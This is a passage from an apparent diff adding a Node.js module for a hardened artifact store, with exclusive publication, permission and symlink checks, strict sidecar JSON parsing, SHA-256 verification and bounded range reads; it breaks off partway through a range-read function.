evidence, never buffers the whole +// artifact, never echoes roots/paths/OS errors, and does not change +// publish, verify, or audit. The model-facing contract, wire cap, and +// truncation metadata live in artifact-reader.mjs. +// +// Out of scope and deliberately unclaimed: P09 sanitization/transformation, +// MCP/provider/supervisor wiring of the reader, the P13 evidence bundle, +// cleanup and garbage collection of any kind, and protected references. A +// store left torn by a crash stays torn: reopening, publishing, verifying, +// auditing, or range-reading it fails closed, and only an operator action +// outside this module may remove anything. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { createHash, randomBytes, timingSafeEqual } from 'node:crypto'; +import { constants as fsConstants } from 'node:fs'; +import { link, lstat, mkdir, open, opendir, unlink } from 'node:fs/promises'; +import path from 'node:path'; +import { types as utilTypes } from 'node:util'; + +import { + ARTIFACT_CLASSES, + ARTIFACT_DIGEST_DOMAIN, + ARTIFACT_DIGEST_VERSION, + MAX_RAW_ARTIFACT_BYTE_LENGTH, + MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, + MIN_ARTIFACT_BYTE_LENGTH, + artifactRefDigestV1, + orderArtifactRefsV1, + parseArtifactRefV1, +} from './artifact-ref.mjs'; +import { + ARTIFACT_PATH_MAX_SEGMENTS, + validateArtifactRelativePathV1, +} from './artifact-path.mjs'; +import { + capturedCreate, + capturedFreeze, + capturedIncludes, + capturedTest, + sortedCapturedKeys, +} from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { RunContractV1Error } from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertPlainObject, + fail, + freezeData, +} from './selection-json.mjs'; + +export const ARTIFACT_STORE_SCHEMA_ID = 'codex-co-engineer.artifact-store.v1'; + +// Closed denial vocabulary. Shared vocabulary codes from the owning modules +// pass through unchanged: every artifact-ref, artifact-path, proxy, accessor, +// symbol-key, alias/cycle, unknown-key, and enum denial keeps its exact P07 +// code and message shape. +export const ARTIFACT_STORE_ERROR_CODES = capturedFreeze([ + 'artifact_content_conflict', + 'artifact_digest_mismatch', + 'artifact_entry_unsafe', + 'artifact_foreign_entry', + 'artifact_inventory_exceeded', + 'artifact_length_mismatch', + 'artifact_metadata_conflict', + 'artifact_metadata_malformed', + 'artifact_not_found', + 'artifact_parent_swapped', + 'artifact_parent_unsafe', + 'artifact_path_escapes_root', + 'artifact_reserved_name_denied', + 'artifact_root_missing', + 'artifact_root_unsafe', + 'artifact_stream_failed', + 'artifact_stream_invalid_chunk', + 'artifact_stream_invalid_source', + 'artifact_stream_over_cap', + 'artifact_torn_publication', + 'artifact_torn_temporary', +]); + +export const ARTIFACT_STORE_NAMESPACES = capturedFreeze([...ARTIFACT_CLASSES]); + +export const ARTIFACT_STORE_CONTENT_DIR = 'content'; +export const ARTIFACT_STORE_META_DIR = 'meta'; +export const ARTIFACT_STORE_META_SUFFIX = '.json'; + +// Sidecar documents are tiny canonical JSON; anything larger is malformed. +export const MAX_ARTIFACT_STORE_META_BYTES = 4096; +// Bounds that keep enumeration, allocation, and audit work finite. +export const MAX_ARTIFACT_STORE_DIRECTORY_ENTRIES = 512; +export const MAX_ARTIFACT_STORE_AUDIT_FILES = 1024; +export const MAX_ARTIFACT_STORE_AUDIT_BYTES = 67_108_864; +export const ARTIFACT_STORE_INGEST_CHUNK_BYTES = 131_072; +export const ARTIFACT_STORE_MAX_DEPTH = ARTIFACT_PATH_MAX_SEGMENTS; +// Hard cap on selected bytes retained by the sanitized range-read hook. +// The P10 reader may apply a tighter wire/response cap on top. +export const ARTIFACT_STORE_RANGE_READ_MAX_BYTES = 8_192; + +// Private unpredictable same-directory temporaries. The name grammar is +// reserved: no artifact path may look like a temporary, so verification can +// condemn every leftover without ambiguity. +const PRIVATE_TEMP_NAME_PATTERN = /^\.tmp-[0-9a-f]{32}$/u; +export const ARTIFACT_STORE_TEMP_NAME_PATTERN = new RegExp( + PRIVATE_TEMP_NAME_PATTERN.source, PRIVATE_TEMP_NAME_PATTERN.flags, +); + +export const ARTIFACT_STORE_INVENTORY_LABEL = 'artifact-store-inventory.v1'; + +const PRIVATE_SHA256_PATTERN = /^[0-9a-f]{64}$/u; + +const META_KEYS = capturedFreeze(['schema', 'artifact_ref', 'byte_length', 'sha256']); + +// ---- Captured intrinsics, taken exactly once at initialization. ----------- +const CREATE_HASH = createHash; +const RANDOM_BYTES = randomBytes; +const TIMING_SAFE_EQUAL = timingSafeEqual; +const BUFFER_IS_BUFFER = NodeBuffer.isBuffer; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_ALLOC = Buffer.alloc.bind(Buffer); +const WRITE_BIGUINT64_BE = Buffer.prototype.writeBigUInt64BE; +const PATH_JOIN = path.join; +const PATH_DIRNAME = path.dirname; +const PATH_BASENAME = path.basename; +const PATH_RELATIVE = path.relative; +const PATH_IS_ABSOLUTE = path.isAbsolute; +const STRING = String; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const OBJECT_GET_PROTOTYPE_OF = Object.getPrototypeOf; +const OBJECT_GET_OWN_PROPERTY_DESCRIPTOR = Object.getOwnPropertyDescriptor; +const REFLECT_HAS = Reflect.has; +const REFLECT_APPLY = Reflect.apply; +const ARRAY_BUFFER_IS_VIEW = ArrayBuffer.isView; +const IS_PROXY = utilTypes.isProxy; +const IS_ARRAY_BUFFER = utilTypes.isArrayBuffer; +const IS_SHARED_ARRAY_BUFFER = utilTypes.isSharedArrayBuffer; +const TEXT_DECODER = new TextDecoder('utf-8', { fatal: true }); +const JSON_PARSE = JSON.parse; +const SET_CTOR = Set; +const SYMBOL_ASYNC_ITERATOR = Symbol.asyncIterator; + +const UINT8ARRAY_PROTOTYPE = Uint8Array.prototype; +const BUFFER_PROTOTYPE = Buffer.prototype; +const BUFFER_TO_STRING = BUFFER_PROTOTYPE.toString; +const UINT8ARRAY_SET = UINT8ARRAY_PROTOTYPE.set; +const OBJECT_PROTOTYPE = Object.prototype; +const ASYNC_GENERATOR_PROTOTYPE = OBJECT_GET_PROTOTYPE_OF( + Object.getPrototypeOf((async function* () {}).prototype), +); + +const ROOT_OPEN_FLAGS = fsConstants.O_RDONLY + | (fsConstants.O_DIRECTORY ?? 0) + | (fsConstants.O_NOFOLLOW ?? 0) + | (fsConstants.O_NONBLOCK ?? 0); +const FILE_READ_FLAGS = fsConstants.O_RDONLY + | (fsConstants.O_NOFOLLOW ?? 0) + | (fsConstants.O_NONBLOCK ?? 0); +const FILE_CREATE_FLAGS = fsConstants.O_WRONLY + | fsConstants.O_CREAT + | fsConstants.O_EXCL + | (fsConstants.O_NOFOLLOW ?? 0); + +// Per-root operation chains. Every operation on one store root is serialized +// behind a single promise chain keyed by the root's device/inode identity, so +// concurrent in-process submissions compose deterministically (identical +// submissions interleave into one winner plus idempotent losers; conflicting +// ones fail closed) while the kernel's exclusive link arbitrates any +// out-of-process race. +const STORE_CHAINS = new Map(); + +function diagnostic(message) { + const text = STRING(message ?? ''); + return text.length <= 200 ? text : text.slice(0, 200); +} + +function failStore(code, field, message) { + fail(code, field, diagnostic(message)); +} + +function compareStrings(left, right) { + if (left === right) return 0; + return left < right ? -1 : 1; +} + +function maxByteLengthForClass(artifactClass) { + return artifactClass === 'raw' + ? MAX_RAW_ARTIFACT_BYTE_LENGTH + : MAX_SANITIZED_ARTIFACT_BYTE_LENGTH; +} + +// ---- Binary source hardening. ---------------------------------------------- + +// Accept only intrinsic Uint8Array/Buffer views over ordinary ArrayBuffers. +// Proxies, subclasses, SharedArrayBuffer backings, and accessor-dressed +// look-alikes are rejected without reading a single byte, so spoofed length +// properties cannot lie about how much work a source will cause. +function isIntrinsicBinaryView(value) { + if (value === null || typeof value !== 'object') return false; + if (IS_PROXY(value)) return false; + const proto = OBJECT_GET_PROTOTYPE_OF(value); + if (proto !== UINT8ARRAY_PROTOTYPE && proto !== BUFFER_PROTOTYPE) return false; + if (!ARRAY_BUFFER_IS_VIEW(value)) return false; + const backing = value.buffer; + if (!IS_ARRAY_BUFFER(backing) || IS_SHARED_ARRAY_BUFFER(backing)) return false; + return true; +} + +// Accept only async iterables that cannot smuggle a getter execution: plain +// data objects carrying an own asyncIterator data property, null-prototype +// equivalents, or genuine async generators. Arbitrary class instances - +// including Node streams with prototype chains - are refused deterministically. +function isAcceptableAsyncIterable(source) { + let proto = OBJECT_GET_PROTOTYPE_OF(source); + for (let depth = 0; depth < 4 && proto !== null; depth += 1) { + if (IS_PROXY(proto)) return false; + if (proto === ASYNC_GENERATOR_PROTOTYPE) return true; + if (proto === OBJECT_PROTOTYPE) break; + proto = OBJECT_GET_PROTOTYPE_OF(proto); + } + if (proto !== null && proto !== OBJECT_PROTOTYPE) return false; + if (!REFLECT_HAS(source, SYMBOL_ASYNC_ITERATOR)) return false; + const descriptor = OBJECT_GET_OWN_PROPERTY_DESCRIPTOR(source, SYMBOL_ASYNC_ITERATOR); + if (descriptor === undefined || descriptor.get !== undefined) return false; + return typeof descriptor.value === 'function'; +} + +function classifySource(source) { + if (isIntrinsicBinaryView(source)) return { kind: 'bytes', value: source }; + if (source !== null && typeof source === 'object') { + if (IS_PROXY(source)) { + failStore('proxy_denied', 'source', 'The artifact source is a live or revoked Proxy.'); + } + if (isAcceptableAsyncIterable(source)) return { kind: 'stream', value: source }; + } + failStore('artifact_stream_invalid_source', 'source', + 'The artifact source must be an intrinsic Buffer/Uint8Array view or a bounded ' + + 'async iterable of such views.'); +} + +// ---- Root and parent-chain discipline. -------------------------------------- + +function assertSafeRootPath(value) { + if (typeof value !== 'string' || value.length === 0) { + failStore('artifact_root_unsafe', 'root', + 'The artifact store root must be an absolute directory path.'); + } + if (!PATH_IS_ABSOLUTE(value) || value.includes('\0') || value.includes('\\')) { + failStore('artifact_root_unsafe', 'root', 'The artifact store root must be an absolute, NUL-free path.'); + } + if (value !== '/' && value.endsWith('/')) { + failStore('artifact_root_unsafe', 'root', 'The artifact store root must not end with a slash.'); + } + if (path.normalize(value) !== value) { + failStore('artifact_root_unsafe', 'root', 'The artifact store root must be a normalized absolute path.'); + } + for (const part of value.split('/')) { + if (part === '.' || part === '..') { + failStore('artifact_root_unsafe', 'root', 'The artifact store root must not contain dot segments.'); + } + } + return value; +} + +function ownerUid() { + return typeof process.geteuid === 'function' ? process.geteuid() : undefined; +} + +function assertPrivateDirectory(stat, field, label) { + if (stat.isSymbolicLink()) { + failStore('artifact_parent_unsafe', field, `The artifact store ${label} must not be a symbolic link.`); + } + if (!stat.isDirectory()) { + failStore('artifact_parent_unsafe', field, `The artifact store ${label} must be a real directory.`); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failStore('artifact_root_unsafe', field, `The artifact store ${label} must be owned by the current user.`); + } + if ((Number(stat.mode) & 0o077) !== 0) { + failStore('artifact_root_unsafe', field, + `The artifact store ${label} must be private (no group or other access).`); + } +} + +function assertRegularUnsharedFile(stat, field) { + if (stat.isSymbolicLink() || !stat.isFile()) { + failStore('artifact_entry_unsafe', field, 'Stored artifacts must be regular non-symlink files.'); + } + if (!NUMBER_IS_SAFE_INTEGER(Number(stat.nlink)) || Number(stat.nlink) !== 1) { + failStore('artifact_entry_unsafe', field, 'Stored artifacts must not be hardlinked.'); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failStore('artifact_entry_unsafe', field, 'Stored artifacts must be owned by the current user.'); + } + if ((Number(stat.mode) & 0o077) !== 0) { + failStore('artifact_entry_unsafe', field, 'Stored artifacts must be owner-only.'); + } +} + +function sameIdentity(left, right) { + return Number(left.dev) === Number(right.dev) && Number(left.ino) === Number(right.ino); +} + +async function openRootHandle(rootPath) { + let handle; + try { + handle = await open(rootPath, ROOT_OPEN_FLAGS); + } catch (error) { + if (error?.code === 'ENOENT') { + failStore('artifact_root_missing', 'root', 'The artifact store root does not exist.'); + } + failStore('artifact_root_unsafe', 'root', + 'The artifact store root could not be opened as a real non-symlink directory.'); + } + try { + const stat = await handle.stat(); + if (stat.isSymbolicLink() || !stat.isDirectory()) { + failStore('artifact_root_unsafe', 'root', 'The artifact store root must be a real directory.'); + } + assertPrivateDirectory(stat, 'root', 'root'); + return { handle, path: rootPath, dev: Number(stat.dev), ino: Number(stat.ino) }; + } catch (error) { + await handle.close().catch(() => {}); + throw error; + } +} + +async function reopenRoot(token) { + const opened = await openRootHandle(token.path); + if (!sameIdentity(opened, token)) { + await opened.handle.close().catch(() => {}); + failStore('artifact_root_unsafe', 'root', 'The artifact store root was replaced while the store was open.'); + } + return opened; +} + +// Map one validated relative path into its two namespace locations. The +// mapping is injective, and containment is proven defensively even though +// the P07 grammar already forbids traversal. +function namespaceLocations(rootPath, artifactClass, relativePath) { + if (!capturedIncludes(ARTIFACT_CLASSES, artifactClass)) { + failStore('invalid_format', 'artifact_class', 'The artifact class is not a known namespace.'); + } + const segments = validateArtifactRelativePathV1(relativePath, 'artifact_ref.relative_path').segments; + const classDir = PATH_JOIN(rootPath, artifactClass); + const contentBase = PATH_JOIN(classDir, ARTIFACT_STORE_CONTENT_DIR); + const metaBase = PATH_JOIN(classDir, ARTIFACT_STORE_META_DIR); + const joined = PATH_JOIN('/', ...segments).slice(1); + const contentTarget = `${contentBase}/${joined}`; + const metaTarget = `${metaBase}/${joined}${ARTIFACT_STORE_META_SUFFIX}`; + for (const [baseDir, target] of [[contentBase, contentTarget], [metaBase, metaTarget]]) { + const escaped = PATH_RELATIVE(baseDir, target); + if (PATH_IS_ABSOLUTE(escaped) || escaped === '' || escaped.startsWith('..')) { + failStore('artifact_path_escapes_root', 'artifact_ref.relative_path', + 'The validated artifact path would leave its namespace; publication is refused.'); + } + } + return { contentTarget, metaTarget, contentBase, metaBase, segments }; +} + +// Walk (creating when absent) the directory chain beneath baseDir named by +// parentSegments, proving every component to be a real private directory and +// capturing identities so later swaps are provable. +async function ensureParentChain(baseDir, parentSegments, captures) { + await ensurePrivateDirectory(baseDir, captures); + let current = baseDir; + for (let index = 0; index < parentSegments.length; index += 1) { + current = PATH_JOIN(current, parentSegments[index]); + await ensurePrivateDirectory(current, captures); + } + return captures; +} + +async function ensurePrivateDirectory(dir, captures) { + let stat = await lstat(dir).catch((error) => { + if (error?.code === 'ENOENT') return undefined; + failStore('artifact_parent_unsafe', 'parent', 'A store directory could not be inspected.'); + }); + if (stat === undefined) { + await mkdir(dir, { mode: 0o700 }).catch((error) => { + if (error?.code === 'EEXIST') return; + failStore('artifact_parent_unsafe', 'parent', 'A store directory could not be created.'); + }); + stat = await lstat(dir).catch(() => undefined); + if (stat === undefined) { + failStore('artifact_parent_unsafe', 'parent', 'A created store directory disappeared immediately.'); + } + } + assertPrivateDirectory(stat, 'parent', 'directory'); + captures.push({ path: dir, dev: Number(stat.dev), ino: Number(stat.ino), mode: Number(stat.mode) }); +} + +async function assertChainUnchanged(captures) { + for (let index = 0; index < captures.length; index += 1) { + const before = captures[index]; + const stat = await lstat(before.path).catch(() => undefined); + if (stat === undefined) { + failStore('artifact_parent_swapped', 'parent', 'A store directory vanished during publication.'); + } + if (Number(stat.dev) !== before.dev || Number(stat.ino) !== before.ino + || Number(stat.mode) !== before.mode) { + failStore('artifact_parent_swapped', 'parent', 'A store directory was replaced during publication.'); + } + } +} + +// ---- Temporary files, exclusive publication, fsync discipline. --------------- + +async function syncDirectoryOf(filePath) { + let handle; + try { + handle = await open(PATH_DIRNAME(filePath), ROOT_OPEN_FLAGS); + } catch { + return; + } + try { + await handle.sync(); + } catch (error) { + if (error?.code === 'EINVAL' || error?.code === 'ENOTSUP') return; + failStore('artifact_stream_failed', 'temporary', 'A store directory could not be synchronized.'); + } finally { + await handle.close().catch(() => {}); + } +} + +async function createPrivateTemp(directory) { + const target = PATH_JOIN(directory, `.tmp-${RANDOM_BYTES(16).toString('hex')}`); + let handle; + try { + handle = await open(target, FILE_CREATE_FLAGS, 0o600); + } catch { + failStore('artifact_stream_failed', 'temporary', + 'A private unpredictable temporary file could not be created exclusively.'); + } + try { + await handle.chmod(0o600); + } catch { + await handle.close().catch(() => {}); + await unlink(target).catch(() => {}); + failStore('artifact_stream_failed', 'temporary', 'A temporary file could not be kept owner-only.'); + } + return { handle, path: target }; +} + +async function writeChunk(handle, view) { + let written = 0; + while (written < view.byteLength) { + const end = Math.min(written + ARTIFACT_STORE_INGEST_CHUNK_BYTES, view.byteLength); + const slice = view.subarray(written, end); + let result; + try { + result = await handle.write(slice, 0, slice.byteLength); + } catch { + failStore('artifact_stream_failed', 'source', 'Artifact bytes could not be written to the temporary file.'); + } + if (!NUMBER_IS_SAFE_INTEGER(result?.bytesWritten) || result.bytesWritten !== slice.byteLength) { + failStore('artifact_stream_failed', 'source', 'A write to the temporary file was short.'); + } + written += result.bytesWritten; + } +} + +// Remove one of our own temporaries. The name grammar is re-proved and the +// entry must be a regular owned file opened without following links. +async function discardTemp(entry) { + if (!entry) return; + await entry.handle.close().catch(() => {}); + const leaf = PATH_BASENAME(entry.path); + if (!capturedTest(PRIVATE_TEMP_NAME_PATTERN, leaf)) return; + let handle; + try { + handle = await open(entry.path, FILE_READ_FLAGS); + } catch { + return; + } + try { + const stat = await handle.stat(); + if (!stat.isFile() || stat.isSymbolicLink()) return; + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) return; + } finally { + await handle.close().catch(() => {}); + } + await unlink(entry.path).catch(() => {}); +} + +async function exclusiveLink(tempPath, targetPath) { + try { + await link(tempPath, targetPath); + } catch (error) { + if (error?.code === 'EEXIST') return false; + if (error?.code === 'ELOOP') { + failStore('artifact_entry_unsafe', 'artifact_ref.relative_path', + 'The artifact destination is a symbolic link and was not followed.'); + } + failStore('artifact_stream_failed', 'artifact_ref.relative_path', + 'The artifact could not be published exclusively.'); + } + return true; +} + +// Roll back our own just-linked content, but only when the platform proves +// the entry under the public name is exactly the inode we published. +async function rollbackOwnLink(targetPath, tempStat) { + let handle; + try { + handle = await open(targetPath, FILE_READ_FLAGS); + } catch { + return false; + } + let ours = false; + try { + const stat = await handle.stat(); + if (stat.isFile() && !stat.isSymbolicLink() && sameIdentity(stat, tempStat)) ours = true; + } finally { + await handle.close().catch(() => {}); + } + if (ours) await unlink(targetPath).catch(() => {}); + return ours; +} + +// ---- Streaming ingest with the class cap enforced before any write. ---------- + +async function ingestSource(handle, classified, cap, declaredLength) { + const hash = CREATE_HASH('sha256'); + let received = 0; + if (classified.kind === 'bytes') { + const view = classified.value; + if (view.byteLength > cap) { + failStore('artifact_stream_over_cap', 'source', + `The artifact bytes exceed the ${cap}-byte class cap; nothing was published.`); + } + await writeChunk(handle, view); + received = view.byteLength; + if (received > 0) hash.update(view); + } else { + try { + for await (const chunk of classified.value) { + if (!isIntrinsicBinaryView(chunk)) { + failStore('artifact_stream_invalid_chunk', 'source', + 'Every stream chunk must be an intrinsic Buffer/Uint8Array view.'); + } + const size = chunk.byteLength; + if (size > cap - received) { + failStore('artifact_stream_over_cap', 'source', + `The artifact stream exceeded the ${cap}-byte class cap; nothing beyond the cap was published.`); + } + if (received + size > declaredLength) { + failStore('artifact_length_mismatch', 'source', + 'The artifact stream grew past its declared byte length; publication is refused.'); + } + await writeChunk(handle, chunk); + if (size > 0) hash.update(chunk); + received += size; + } + } catch (error) { + // Typed denials already carry their own content-free verdict; anything + // else the iterable throws is swallowed into one typed denial so no + // caller-supplied message, stack, or host detail ever escapes. + if (error instanceof RunContractV1Error) throw error; + failStore('artifact_stream_failed', 'source', + 'The artifact stream failed before its declared length; nothing was published.'); + } + } + return { received, digest: hash.digest('hex') }; +} + +// ---- Sidecar build and strict parse. ----------------------------------------- + +function buildMetaBytes(snapshot, byteLength, sha256Hex) { + const document = { + schema: ARTIFACT_STORE_SCHEMA_ID, + artifact_ref: snapshot, + byte_length: byteLength, + sha256: sha256Hex, + }; + const bytes = BUFFER_FROM(`${canonicalJsonStringify(document)}\n`, 'utf8'); + if (bytes.byteLength > MAX_ARTIFACT_STORE_META_BYTES) { + failStore('artifact_metadata_malformed', 'meta', 'The sidecar document exceeds its bounded size.'); + } + return bytes; +} + +function assertNoDuplicateJsonKeys(text, field) { + const scopes = [{ object: true, keys: new SET_CTOR() }]; + let inString = false; + let escaped = false; + let stringStart = -1; + for (let index = 0; index < text.length; index += 1) { + const char = text[index]; + if (inString) { + if (escaped) escaped = false; + else if (char === '\\') escaped = true; + else if (char === '"') { + inString = false; + const scope = scopes[scopes.length - 1]; + if (scope.object) { + let cursor = index + 1; + while (cursor < text.length && (text[cursor] === ' ' || text[cursor] === '\n' + || text[cursor] === '\r' || text[cursor] === '\t')) cursor += 1; + if (text[cursor] === ':') { + let key; + try { + key = JSON_PARSE(text.slice(stringStart - 1, index + 1)); + } catch { + failStore('artifact_metadata_malformed', field, 'Sidecar JSON carries an invalid key.'); + } + if (scope.keys.has(key)) { + failStore('artifact_metadata_malformed', field, + 'Sidecar documents must not contain duplicate keys.'); + } + scope.keys.add(key); + } + } + } + continue; + } + if (char === '"') { + inString = true; + escaped = false; + stringStart = index + 1; + continue; + } + if (char === '{') { + scopes.push({ object: true, keys: new SET_CTOR() }); + if (scopes.length > 40) { + failStore('artifact_metadata_malformed', field, 'Sidecar JSON exceeds the nesting bound.'); + } + continue; + } + if (char === '[') { + scopes.push({ object: false, keys: new SET_CTOR() }); + if (scopes.length > 40) { + failStore('artifact_metadata_malformed', field, 'Sidecar JSON exceeds the nesting bound.'); + } + continue; + } + if (char === '}' || char === ']') { + scopes.pop(); + if (scopes.length === 0) { + failStore('artifact_metadata_malformed', field, 'Sidecar JSON is unbalanced.'); + } + } + } + if (inString || scopes.length !== 1) { + failStore('artifact_metadata_malformed', field, 'Sidecar JSON is incomplete.'); + } +} + +function decodeUtf8(bytes, field) { + if (bytes.byteLength >= 3 && bytes[0] === 0xef && bytes[1] === 0xbb && bytes[2] === 0xbf) { + failStore('artifact_metadata_malformed', field, 'Sidecar documents must not begin with a UTF-8 BOM.'); + } + try { + return TEXT_DECODER.decode(bytes); + } catch { + failStore('artifact_metadata_malformed', field, 'Sidecar documents must be valid UTF-8.'); + } +} + +// Strictly parse one sidecar and prove it describes exactly the claimed +// reference at exactly the claimed location. Any deviation is malformed or +// foreign; nothing about the hostile document is echoed back. +function parseMetaDocument(bytes, expectedClass, expectedRelativePath, field) { + if (!BUFFER_IS_BUFFER(bytes) || bytes.byteLength === 0) { + failStore('artifact_metadata_malformed', field, 'The sidecar document is missing or empty.'); + } + if (bytes.byteLength > MAX_ARTIFACT_STORE_META_BYTES) { + failStore('artifact_metadata_malformed', field, 'The sidecar document exceeds its bounded size.'); + } + const text = decodeUtf8(bytes, field); + assertNoDuplicateJsonKeys(text, field); + let parsed; + try { + parsed = JSON_PARSE(text); + } catch { + failStore('artifact_metadata_malformed', field, 'The sidecar document is not valid JSON.'); + } + assertPlainObject(parsed, 'artifact_metadata_malformed', field, 'The sidecar document'); + assertDirectJsonClosure(parsed, field); + const keys = sortedCapturedKeys(parsed); + if (keys.length !== META_KEYS.length) { + failStore('artifact_metadata_malformed', field, 'The sidecar document carries unexpected keys.'); + } + for (let index = 0; index < META_KEYS.length; index += 1) { + if (!capturedIncludes(keys, META_KEYS[index])) { + failStore('artifact_metadata_malformed', field, 'The sidecar document carries unexpected keys.'); + } + } + if (parsed.schema !== ARTIFACT_STORE_SCHEMA_ID) { + failStore('artifact_metadata_malformed', `${field}.schema`, + `The sidecar schema must be exactly "${ARTIFACT_STORE_SCHEMA_ID}".`); + } + const snapshot = parseArtifactRefV1(parsed.artifact_ref, `${field}.artifact_ref`); + const byteLength = parsed.byte_length; + if (typeof byteLength !== 'number' || !NUMBER_IS_SAFE_INTEGER(byteLength) + || byteLength < MIN_ARTIFACT_BYTE_LENGTH) { + failStore('artifact_metadata_malformed', `${field}.byte_length`, + 'The sidecar byte length must be a positive integer.'); + } + if (byteLength !== snapshot.byte_length) { + failStore('artifact_metadata_malformed', `${field}.byte_length`, + 'The sidecar byte length disagrees with its bound reference.'); + } + if (typeof parsed.sha256 !== 'string' || !capturedTest(PRIVATE_SHA256_PATTERN, parsed.sha256)) { + failStore('artifact_metadata_malformed', `${field}.sha256`, + 'The sidecar digest must be a 64-character lowercase hex SHA-256.'); + } + if (parsed.sha256 !== snapshot.sha256) { + failStore('artifact_metadata_malformed', `${field}.sha256`, + 'The sidecar digest disagrees with its bound reference.'); + } + if (snapshot.artifact_class !== expectedClass || snapshot.relative_path !== expectedRelativePath) { + failStore('artifact_foreign_entry', field, + 'The sidecar describes a different artifact than its location names.'); + } + return snapshot; +} + +function canonicalSnapshotText(snapshot) { + return canonicalJsonStringify(snapshot); +} + +function digestsMatch(leftHex, rightHex) { + if (typeof leftHex !== 'string' || typeof rightHex !== 'string') return false; + if (leftHex.length !== 64 || rightHex.length !== 64) return false; + return TIMING_SAFE_EQUAL(BUFFER_FROM(leftHex, 'hex'), BUFFER_FROM(rightHex, 'hex')) === true; +} + +// ---- Bounded reads of stored artifacts. --------------------------------------- + +async function openStoredFile(targetPath) { + try { + return await open(targetPath, FILE_READ_FLAGS); + } catch (error) { + if (error?.code === 'ENOENT') return null; + if (error?.code === 'ELOOP' || error?.code === 'EISDIR' || error?.code === 'ENOTDIR') { + failStore('artifact_entry_unsafe', 'content', + 'The stored artifact location is not a regular non-symlink file.'); + } + failStore('artifact_entry_unsafe', 'content', 'The stored artifact could not be opened safely.'); + } +} + +async function readBoundedFile(targetPath, maxBytes, field) { + const handle = await openStoredFile(targetPath); + if (handle === null) return null; + try { + const stat = await handle.stat(); + assertRegularUnsharedFile(stat, field); + if (Number(stat.size) > maxBytes) { + failStore('artifact_metadata_malformed', field, 'The stored document exceeds its bounded size.'); + } + const bytes = await handle.readFile(); + if (bytes.byteLength > maxBytes) { + failStore('artifact_metadata_malformed', field, 'The stored document exceeds its bounded size.'); + } + const after = await handle.stat(); + if (!sameIdentity(stat, after) || Number(after.size) !== Number(stat.size)) { + failStore('artifact_torn_publication', field, 'The stored document changed while it was read.'); + } + return { bytes, stat }; + } finally { + await handle.close().catch(() => {}); + } +} + +// Open one published content file with full regular-file discipline and its +// class cap applied to the observed size. The caller owns closing the handle. +async function openPublishedContent(targetPath, cap) { + const handle = await openStoredFile(targetPath); + if (handle === null) return null; + try { + const stat = await handle.stat(); + assertRegularUnsharedFile(stat, 'content'); + const size = Number(stat.size); + if (!NUMBER_IS_SAFE_INTEGER(size) || size > cap) { + failStore('artifact_entry_unsafe', 'content', + `Stored content must not exceed the ${cap}-byte class cap.`); + } + return { handle, size }; + } catch (error) { + await handle.close().catch(() => {}); + throw error; + } +} + +// Stream content only to recompute its length and digest. Bytes are never +// returned, buffered whole, or echoed. +async function measureStoredContent(handle, cap) { + const hash = CREATE_HASH('sha256'); + let received = 0; + const chunk = BUFFER_ALLOC(ARTIFACT_STORE_INGEST_CHUNK_BYTES); + while (true) { + let read; + try { + read = await handle.read(chunk, 0, chunk.byteLength, null); + } catch { + failStore('artifact_entry_unsafe', 'content', 'Stored artifact bytes could not be read safely.'); + } + if (read.bytesRead === 0) break; + received += read.bytesRead; + if (received > cap) { + failStore('artifact_entry_unsafe', 'content', + `Stored content exceeds the ${cap}-byte class cap.`); + } + hash.update(chunk.subarray(0, read.bytesRead)); + } + return { received, digest: hash.digest('hex') }; +} + +async function measurePublishedContent(targetPath, snapshot) { + const cap = maxByteLengthForClass(snapshot.artifact_class); + const opened = await openPublishedContent(targetPath, cap); + if (opened === null) { + failStore('artifact_torn_publication', 'content', + 'A sidecar exists without content; the publication is torn.'); + } + try { + const measured = await measureStoredContent(opened.handle, cap); + if (measured.received !== snapshot.byte_length || measured.received !== opened.size) { + failStore('artifact_length_mismatch', 'content', + 'Stored content length does not match the declared byte length.'); + } + if (!digestsMatch(measured.digest, snapshot.sha256)) { + failStore('artifact_digest_mismatch', 'content', + 'Stored content does not hash to the declared SHA-256 digest.'); + } + return measured; + } finally { + await opened.handle.close().catch(() => {}); + } +} + +// Verify one stored location end-to-end against one validated reference: +// sidecar presence, strict shape, exact stored-vs-requested snapshot +// equality, regular-file discipline, and streaming length/digest agreement +// against the stored sidecar claims (never the caller view). +async function verifyLocation(rootPath, snapshot) { + const locations = namespaceLocations(rootPath, snapshot.artifact_class, snapshot.relative_path); + const metaOpened = await readBoundedFile(locations.metaTarget, MAX_ARTIFACT_STORE_META_BYTES, 'meta'); + if (metaOpened === null) { + const probe = await openStoredFile(locations.contentTarget); + if (probe !== null) { + await probe.close().catch(() => {}); + failStore('artifact_torn_publication', 'content', + 'Content exists without its sidecar; the publication is torn.'); + } + failStore('artifact_not_found', 'artifact_ref', 'No stored artifact exists for that reference.'); + } + const storedSnapshot = parseMetaDocument(metaOpened.bytes, snapshot.artifact_class, + snapshot.relative_path, 'meta'); + if (canonicalSnapshotText(storedSnapshot) !== canonicalSnapshotText(snapshot)) { + failStore(classifyExistingConflict(storedSnapshot, snapshot), 'artifact_ref', + 'A different artifact already occupies this location.'); + } + await measurePublishedContent(locations.contentTarget, storedSnapshot); + return locations; +} + +function assertIntrinsicNonNegativeInteger(value, field, min, max) { + if (typeof value !== 'number' || !NUMBER_IS_SAFE_INTEGER(value)) { + failStore('invalid_type', field, + `${field} must be an intrinsic safe integer.`); + } + if (value < min || value > max) { + failStore('out_of_range', field, + `${field} must be an integer in ${min}..${max}.`); + } + return value; +} + +// Hash one published sanitized artifact in fixed chunks, retain only +// [offset, offset+maxBytes), and prove the file was a regular single-link +// entry whose identity, size, and digest were stable across the read. +// The selected window is copied into a buffer of at most maxBytes; the +// rest of the file is hashed and discarded. +async function readSanitizedRangePrepared(root, snapshot, offset, maxBytes) { + const locations = namespaceLocations(root.path, snapshot.artifact_class, snapshot.relative_path); + const metaOpened = await readBoundedFile(locations.metaTarget, MAX_ARTIFACT_STORE_META_BYTES, 'meta'); + if (metaOpened === null) { + const probe = 